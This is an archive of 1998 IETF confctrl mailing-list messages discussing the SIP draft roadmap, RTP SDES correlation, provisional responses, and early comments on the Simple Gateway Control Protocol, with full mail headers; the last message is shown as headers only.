From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
cc: vern@ee.lbl.gov
Subject: SIP Roadmap and Deadlines
Date: Fri, 22 May 1998 10:56:50 -0400
Message-ID: <23552.895849010@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The 05 SIP draft has been out for a week now, and there has been a
reasonable amount of comment on the list.  I feel we must now set out
a roadmap for getting SIP to Proposed Standard to prevent us getting
lost in minutae, and to encourage everyone's comments while we can still
do something about them!

It appears that there are still a few things that need clarifying in
the spec, but nothing major has been raised so far.  Thus I propose
the following for the next month or so (Henning, Eve - please say
if you think this is unrealisitic!):

12th June - deadline for comments on the 05 spec.

19th June - revised and clarified 06 spec released.  
            2-week Working Group Last Call issued.

3rd July  - submit SIP to IESG for consideration for Proposed Standard.


Comments?

Mark

From confctrl-owner  Fri May 22 07:57:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27027
	for confctrl-outgoing; Fri, 22 May 1998 07:57:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27021
	for <confctrl@zephyr.isi.edu>; Fri, 22 May 1998 07:57:05 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17566
	for <confctrl@ISI.EDU>; Fri, 22 May 1998 07:57:04 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA05236; Fri, 22 May 1998 10:57:02 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA25860; Fri, 22 May 1998 10:56:57 -0400 (EDT)
Message-ID: <35659239.AD8FA59@cs.columbia.edu>
Date: Fri, 22 May 1998 10:56:57 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, rem-conf@es.net,
        confctrl@ISI.EDU
Subject: Re: SIP and RTP correlations
References: <1520.895844672@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Colin Perkins wrote:
> 
> --> Henning Schulzrinne writes:
> >Jonathan Rosenberg wrote:
> ...
> >> 4. Add a new SDES item, called SIP-CADDR, which contains the user's SIP
> >> address. The ITU folks did a similar thing for H.332; they have
> >> registered an H.323-CADDR type used for solving problem (1).
> >
> >Only solution (4) seems generic enough, and we definitely want to avoid
> >making SSRCs visible outside RTP as much as we can. Given the bandwidth
> >limitation of the RTCP channel, allowing re-use of the same identifier
> >is helpful, since having
> >
> >H323-CADDR: foo@bar
> >SIP-CADDR: foo@bar
> >WhitePine-CADDR: foo@bar
> >
> >is very inefficient, in particular since it is likely that many of these
> >addresses are going to be of the user@host variety. We could use
> >something like
> >
> >CADDR: {sip,h323,whitepine}:foo@bar
> 
> Could we use the CNAME? Put a sip: url in there? The media tools will have
> to be modified anyway, to send out SIP-CADDR. This also avoids having a
> proliferation of sdes packet types...

I don't think CNAME is appropriate, since it identifies the actual host
the data is coming from. In many cases, I want my SIP requests to go
through various proxies (that do call filtering, firewall drilling,
etc.). Also, we want to maintain backward-compatibility, and CNAME is
the one crucial piece of RTP SDES information that applications rely on
for grouping.

Also, it is sufficient to send the SIP URL in one media stream, while
CNAME is clearly needed everywhere.

> 
> Colin

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri May 22 09:03:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29128
	for confctrl-outgoing; Fri, 22 May 1998 09:03:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29123
	for <confctrl@zephyr.isi.edu>; Fri, 22 May 1998 09:03:24 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21997
	for <confctrl@ISI.EDU>; Fri, 22 May 1998 09:03:21 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA11178; Fri, 22 May 1998 12:03:19 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26045; Fri, 22 May 1998 12:03:19 -0400 (EDT)
Message-ID: <3565A1C6.89768C62@cs.columbia.edu>
Date: Fri, 22 May 1998 12:03:18 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: dshrader@notes.cc.bellcore.com
CC: confctrl@ISI.EDU
Subject: Re: SIP architecture question
References: <8525660C.00464474.00@notes950.cc.bellcore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

dshrader@notes.cc.bellcore.com wrote:
> 
> I have been studying the SIP protocol and have a question about
> architecture assumptions for the location of the SIP client for multimedia
> conferencing.
> 
> For PINT use, two basic alternatives for a SIP client are discussed:
> (assuming SIP is to be used for PINT :-).
> 
> 1. The PINT client is located at a web server:
> 
>      User --- (HTTP) ---> web server/pint client --- (SIP) ---> pint server
> 
> 2. The PINT client is located at the user's machine:
> 
>      User/pint client  --- (SIP) ---> pint server
> 
> For multimedia conference use, it is clear that the SIP client is most
> likely located at the user's machine. Is this a requirement? Is the
> "remote" alternative possible? That is, will SIP work for this application
> if it is located at a web server and the communication to the user machine
> is through some other mechanism (i.e., HTTP)? Is there some kind of
> interaction with SDP and RTP that prevents this?

Yes, this will work just fine.

The nice thing about separating session description and call origin is
that the recipient and source of media does not have to be the entity
generating the signaling requests. Thus, a SIP request can well be
triggered from within a cgi script and then direct media elsewhere
(e.g., the client that clicked on the cgi-bin link), assuming that the
web server has done due diligence to avoid becoming the unwitting
perpetrator of a packet-bombing attack.

> 
> Can anyone help me out here?
> 
> Thanks,
> David
> 
> -------------------------------------
> David Shrader
> Bellcore
> IN Design and Engineering

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri May 22 12:18:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA05805
	for confctrl-outgoing; Fri, 22 May 1998 12:18:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA05799
	for <confctrl@zephyr.isi.edu>; Fri, 22 May 1998 12:18:52 -0700 (PDT)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA10694;
	Fri, 22 May 1998 12:18:07 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id PAA27962; Fri, 22 May 1998 15:17:34 -0400 (EDT)
Received: from omss1a.mcit.com.mci.com (omss1a.mcit.com [166.37.204.2])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA23930; Fri, 22 May 1998 14:17:34 -0500 (CDT)
Received: from sinnreich2 ([166.41.36.85]) by omss1a.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980522191733.GFJQ7401@[166.41.36.85]>;
          Fri, 22 May 1998 14:17:33 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Mark Handley" <mjh@ISI.EDU>, <confctrl@ISI.EDU>
Cc: <vern@ee.lbl.gov>
Subject: RE: SIP Roadmap and Deadlines
Date: Fri, 22 May 1998 14:16:29 +0200
Message-ID: <000001bd857b$732c5a00$552429a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <23552.895849010@north.lcs.mit.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Comments?
> 
> Mark

Looks reasonable.

Henry

From confctrl-owner  Sun May 24 00:44:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA23875
	for confctrl-outgoing; Sun, 24 May 1998 00:44:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA23870
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 00:44:35 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA28781
	for <confctrl@isi.edu>; Sun, 24 May 1998 00:44:32 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id JAA29455; Sun, 24 May 1998 09:36:55 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225660E.002FF85F ; Sun, 24 May 1998 10:43:57 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
cc: huitema@bellcore.com, Arango@bellcore.com, oran@cisco.com
Message-ID: <4225660E.001A1237.00@il4.vocaltec.co.il>
Date: Sun, 24 May 1998 10:18:59 +0200
Subject: Re: Simple Gateway Control Protocol -- short first comments
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 05/24/98 10:18 AM

[Could one of the authors or WG chair or an Area Director please decide
which one of the 50 mailing lists to which this protocol was posted should
be the correct place to discuss this protocol? I am following Jon's lead
and going with confctrl.]

My comments are much less clever than Jon's (which is hardly surprising):

1. Some of the function presented is device control and management, where
the device happens to be a PSTN gateway. Why not just standardize a "PSTN
gateway MIB" and use SNMP? This would be a great acheivement. Much of the
SGCP text present could be immediately refashioned into a very nice
suggestion for a PSTN gateway MIB.
There are many advantages of using SNMP (set, get, traps, etc.) for this
part of the function. (One of the many is that many proprietary protocols
like this already exist between the voice channel banks of a switch and the
SS7 signalling part.

2. Another part of SGCP function is basic third party call control. This
basic stuff can be done today via SIP without controversy.
"Create/Delete/Modify connection" could be immediately handled by INVITE
and BYE (in SIP you modify a connection by resending an INVITE with the
same Call-ID).  (This is very different from the fancy-dancy call control
that requires all those wierdo new SIP headers).

In SGCP  you have Connections and Calls, while in SIP you have Call-IDs and
Session IDs. (so SIP "calls" are basically SGCP  "connections"  and SDP
"sessions" are SGCP "calls").

As an example of the basic similarity of the SIP model and the SGCP model,
here are two extracts:

(SIP)     A multimedia session is a set of multimedia senders and
     receivers and the data streams flowing from senders to receivers.

(SGCP)Endpoints are sources or sinks of data and could be physical or
virtual.
     A point to point connection is an association between two endpoints
with the purpose of transmitting
     data between these endpoints. A multipoint connection is established
by connecting the end point to
     a multipoint session. Connections are grouped in calls

SIP already drives me insane trying to remeber what is a session, call,
etc. I would be happy not to have some new terminology if the SIP
terminology will do.

To summarize this point:  For the sort of "basic third party call control"
presented in SGCP it seems to me that one can use SIP as is. Perhaps some
tiny extensions are needed (rather like the few PINT extensions), but I'd
rather not see a whole new protocol for the special case of a call with one
leg in the PSTN and one leg in the Internet (calls with "one foot in the
grave" ;-))

3. A particular case of a different kind of gateway that we definitely need
a control protocol is an RTP translator or mixer. There are many "PSTN
like" scenarios (such as using RTP proxies to cut off the audio on an IP
phone call whose time has run out, or collecting DTMF digits from the RTP
audio stream, etc....) which will require control of pure IP "gateways."
This is a good example of why I want something a bit more generic than
SGCP. I can get it by using SNMP and SIP/SDP.  (The MIB for a PSTN-RTP
gateway needs to be different that the MIB for an RTP-RTP gateway, but this
only underscores that all the other protocol elements can be common).

4. A last unrelated point: I am a bit worried about the stuff about
instructing the gateway to trap on things like DTMF digits (I mean the
"RequestedEvents and "SignalEvents").  If you are not careful, the call
agent is going to get notified about _every_ DTMF digit of the call. I
don't know if I like my Telco operator listening in every time I send my
voice mail selection or credit card number to the other side.

Sorry if these remarks are a result of my misunderstanding.

Scott



Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com
+972 52 288 099



From confctrl-owner  Sun May 24 00:45:18 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA23889
	for confctrl-outgoing; Sun, 24 May 1998 00:45:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA23884
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 00:45:17 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA28790
	for <confctrl@ISI.EDU>; Sun, 24 May 1998 00:45:15 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id JAA29590; Sun, 24 May 1998 09:38:04 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225660E.002FF787 ; Sun, 24 May 1998 10:43:55 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: schulzrinne@cs.columbia.edu
cc: etremblay@mediatrix.com, jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Message-ID: <4225660C.004958EB.00@il4.vocaltec.co.il>
Date: Fri, 22 May 1998 16:51:00 +0200
Subject: Re: SIP Provisional Responses
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 05/22/98 04:51 PM


[... Problem that a user agent server might need to send first a 100 Trying
response and then a 180 Ringing response...]

>
>2) The server can retransmit 1xx responses periodically.
>
>For non-technical users, the difference between Trying and Ringing isn't
>all that great - certainly not something that the standard telephone
>tones (ring-back in either case) could express.

If the server first responds "100 Trying" then if later it sends "180
Ringing" this is not a _retransmit_, is it? It is a change in the
provisional response. If this is to be allowed it needs to be explicitly
stated. I thought that a retransmitted response must an exact retransmit of
the original response.

When client retransmits the INVITE the server can't give a different
response.

I think that allowing the server to "retransmit" a changed provisional
response would be very useful, but some clear rules need to be written. For
example, I wouldn't want a "Ringing" to change into a "Trying".

Perhaps we can say that the higher the number of the provisional response
code, the farther along the server has gone. (i.e. "180 Ringing" is further
along the resolution process than "100 Trying"). And then the standard can
allow a lower provisional response to be replaced by a higher one. (Of
course we will have to dole out the numbers for responses quite carefully,
but this is not too hard).

BTW, "for non-technical users", my cellphone first emits little clicks when
it is trying to find the callee, and then these clicks change into ringback
to signal that the phone is ringing. (We do this in the VocalTec PSTN
gateway as well). And in fact there are lousy cell phone services that
actually start by faking Ring back and then turn into Busy tone if the
callee is actually busy. I find the former is very useful, and the latter
extremely annoying.

Scott











schulzrinne@cs.columbia.edu on 05/20/98 02:20:06 AM

To:   etremblay@mediatrix.com
cc:   jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU (bcc: Scott Petrack)
Subject:  Re: SIP Provisional Responses




Eric Tremblay wrote:
>
> How can the user agent server make sure that the client received the
> "new" (180) status code?  If the server just sends one 180 response, it
> can easily get lost, and the next 180 response that will be sent will be
> in response of a retransmission, which is around 30 seconds later.
>
> Should the server send more than one "new" status code?  I think so, but
> how?  I think the 180 response is important for rendering call
> progress...
>
> I understand that even if the UAC does not receives any 180 responses,
> the call can be established, but I personnaly don't like the UAC seeing
> simply a transition from 100 to 200.
>
Unfortunately, the alternative of acknowledging 1xx responses would
greatly complicate the state machinery.
Currently, either client or server can, if they so desire and are
willing to suffer the network traffic and server load consequences, get
semi-reliable status updates:
1) The client can retransmit INVITE more frequently. This is against the
rules, but otherwise causes no interoperability problems.
2) The server can retransmit 1xx responses periodically.
For non-technical users, the difference between Trying and Ringing isn't
all that great - certainly not something that the standard telephone
tones (ring-back in either case) could express.






From confctrl-owner  Sun May 24 07:13:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA26355
	for confctrl-outgoing; Sun, 24 May 1998 07:13:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26350
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 07:13:08 -0700 (PDT)
Received: from mail.airmail.net (mail.airmail.net [206.66.12.40])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA09237
	for <confctrl@isi.edu>; Sun, 24 May 1998 07:13:07 -0700 (PDT)
Received: from ibm-770-laptop from [207.136.47.83] by mail.airmail.net 
	(/\##/\ Smail3.1.30.16 #30.237) with smtp for <confctrl@isi.edu> sender: <daveh@airmail.net>
	id <m0ydbWE-000CygF@mail.airmail.net>; Sun, 24 May 98 09:12:58 -0500 (CDT)
Reply-To: <daveh@airmail.net>
From: "daveh" <daveh@airmail.net>
To: <rem-conf@es.net>, <confctrl@ISI.EDU>
Subject: remove
Date: Sun, 24 May 1998 09:10:16 -0500
Message-ID: <000201bd871d$b1a7afc0$5d3488cf@ibm-770-laptop>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
In-Reply-To: <35643FEA.A5FB8638@dnrc.bell-labs.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Remove daveh@airmail.net 




From confctrl-owner  Sun May 24 10:13:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA27580
	for confctrl-outgoing; Sun, 24 May 1998 10:13:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA27575
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 10:13:30 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA12737
	for <confctrl@isi.edu>; Sun, 24 May 1998 10:13:29 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id NAA11770;
	Sun, 24 May 1998 13:12:09 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id NAA25395;
	Sun, 24 May 1998 13:12:08 -0400 (EDT)
Date: Sun, 24 May 1998 13:12:08 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980524131208.ZM25393@seawind.bellcore.com>
In-Reply-To: "Scott Petrack"<Scott_Petrack@vocaltec.com>
        "Re: Simple Gateway Control Protocol -- short first comments" (May 24, 10:18am)
References: <4225660E.001A1237.00@il4.vocaltec.co.il>
X-Mailer: Z-Mail (5.0.0 30July97)
To: "Scott Petrack"<Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: Simple Gateway Control Protocol -- short first comments
Cc: huitema@bellcore.com, Arango@bellcore.com, oran@cisco.com,
        sgcp@bellcore.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott,

I posted to exactly one mailing list, confctrl.  Bellcore has set-up
a dedicated mailing list for SGCP discussion, "sgcp@bellcore.com."
This is a free access, public archive mailing list.
We are just now putting up a web page to organize all that.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Sun May 24 10:43:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA27852
	for confctrl-outgoing; Sun, 24 May 1998 10:43:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA27847
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 10:43:27 -0700 (PDT)
Received: from beta.mcit.com (beta.mcit.com [199.249.19.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA13500
	for <confctrl@isi.edu>; Sun, 24 May 1998 10:43:26 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
          by beta.mcit.com (8.8.8/) with ESMTP
	  id MAA22458; Sun, 24 May 1998 12:42:22 -0500 (CDT)
Received: from nmss1a.mcit.com.mci.com (nmss1a.mcit.com [166.37.172.5])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id MAA28279; Sun, 24 May 1998 12:42:21 -0500 (CDT)
Received: from sinnreich2 ([166.41.36.85]) by nmss1a.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980524174220.WAZS2485@[166.41.36.85]>;
          Sun, 24 May 1998 13:42:20 -0400
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Christian Huitema" <huitema@bellcore.com>,
        "Scott Petrack" <Scott_Petrack@vocaltec.com>, <confctrl@ISI.EDU>
Cc: <Arango@bellcore.com>, <oran@cisco.com>, <sgcp@bellcore.com>
Subject: RE: Simple Gateway Control Protocol -- short first comments
Date: Sun, 24 May 1998 12:41:24 +0200
Message-ID: <000801bd8700$7f9eb860$552429a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <980524131208.ZM25393@seawind.bellcore.com>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Given the proliferation of mailing list from various sponsors of new
protocols, it is easier on us, and better for IETF conceptual coordination
that we stick to the established list - within reason. Can we continue to
discuss the SGCP on this list ?

Thanks, Henry

> -----Original Message-----
> From: Christian Huitema [mailto:huitema@bellcore.com]
> Sent: Sunday, May 24, 1998 7:12 PM
> To: Scott Petrack; confctrl@isi.edu
> Cc: huitema@bellcore.com; Arango@bellcore.com; oran@cisco.com;
> sgcp@bellcore.com
> Subject: Re: Simple Gateway Control Protocol -- short first comments
>
>
> Scott,
>
> I posted to exactly one mailing list, confctrl.  Bellcore has set-up
> a dedicated mailing list for SGCP discussion, "sgcp@bellcore.com."
> This is a free access, public archive mailing list.
> We are just now putting up a web page to organize all that.
>
> --
> Christian Huitema
> ----------
> See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/
>


From confctrl-owner  Sun May 24 13:07:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA28924
	for confctrl-outgoing; Sun, 24 May 1998 13:07:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28919
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 13:07:35 -0700 (PDT)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18275
	for <confctrl@ISI.EDU>; Sun, 24 May 1998 13:07:33 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id QAA03949; Sun, 24 May 1998 16:06:29 -0400 (EDT)
Received: from omss5.mcit.com.mci.com (omss5.mcit.com [166.37.204.27])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA14346; Sun, 24 May 1998 16:06:29 -0400 (EDT)
Received: from sinnreich2 ([166.41.36.85]) by omss5.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980524200629.ULXH8150@[166.41.36.85]>;
          Sun, 24 May 1998 15:06:29 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Scott Petrack" <Scott_Petrack@vocaltec.com>, <confctrl@ISI.EDU>
Cc: <huitema@bellcore.com>, <Arango@bellcore.com>, <oran@cisco.com>
Subject: RE: Simple Gateway Control Protocol -- short first comments
Date: Sun, 24 May 1998 15:05:33 +0200
Message-ID: <000701bd8714$a28a24e0$552429a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <4225660E.001A1237.00@il4.vocaltec.co.il>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The SGCP focuses on the PSTN-IP model and as such, can be quite useful if it
helps with standard mapping of both sides.
Considering however all the other IP telephony options, besides gateways,
making the gateway a component of Internet multimedia seems an attractive
choice. We may after all have IP telephony appliances using any other
Internet access such as xDSL, cable, etc.
A comprehensive model, with gateways as just another component is therefore
to be in mind.

Coming back to the gateway model: It would be useful to have a detailed
mapping to ISDN and SS7 signaling on the PSTN side and a similar mapping to
the IETF conforming side.

Scott has made some good comments to which I would like to add my 2 cents:

> SIP already drives me insane trying to remember what is a session, call,
> etc. I would be happy not to have some new terminology if the SIP
> terminology will do.
agree and would like to expand:

The SIP status code definitions and the SGCP overlap to a large degree. Why
not just re-use the SIP status codes, unless they need to be enhanced with
something that is missing ?

Some events listed:

fax tones
modem tones
continuity tones
are too much oriented towards voice-band tones and are hard to be
distinguished by untrained people.
Why not have SIP-like status codes, that can be displayed and also be
associated with a spoken message ?

Can SGCP use the same call ID as in SIP ?

Use URL's as in
http://www.ietf.org/internet-drafts/draft-antti-telephony-url-04.txt ?

The bottom line is, on the "IETF compliant" side, how much can SGCP be
integrated into the existing MMUSIC, PINT and IPTEL family of protocols and
re-use as much from there as possible ?

Life is enough complicated as is...

Thanks, Henry

Henry Sinnreich
MCI, 901 International Parkway
Richardson, Texas 75082
Phone:  (972)498-1223
Fax:    (972)498-1449
for short messages/paging to PIN 1632988 use
http://www.mci.com/connections/interact/sendpage/sendpage.shtml
or page by phone: 1-800-PAGE-MCI/PIN 1632988


From confctrl-owner  Sun May 24 15:22:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA29796
	for confctrl-outgoing; Sun, 24 May 1998 15:22:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA29790
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 15:22:20 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA21625
	for <confctrl@ISI.EDU>; Sun, 24 May 1998 15:22:19 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA28042; Sun, 24 May 1998 18:15:40 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henry Sinnreich <henry.sinnreich@mci.com>
cc: confctrl <confctrl@ISI.EDU>, Arango <Arango@bellcore.com>,
        sgcp <sgcp@bellcore.com>
Subject: Re: Simple Gateway Control Protocol -- short first comments 
In-reply-to: Your message of "Sun, 24 May 1998 12:41:24 +0200."
             <000801bd8700$7f9eb860$552429a6@sinnreich2.678.mciw> 
Date: Sun, 24 May 1998 18:15:40 -0400
Message-ID: <28040.896048140@north.lcs.mit.edu>
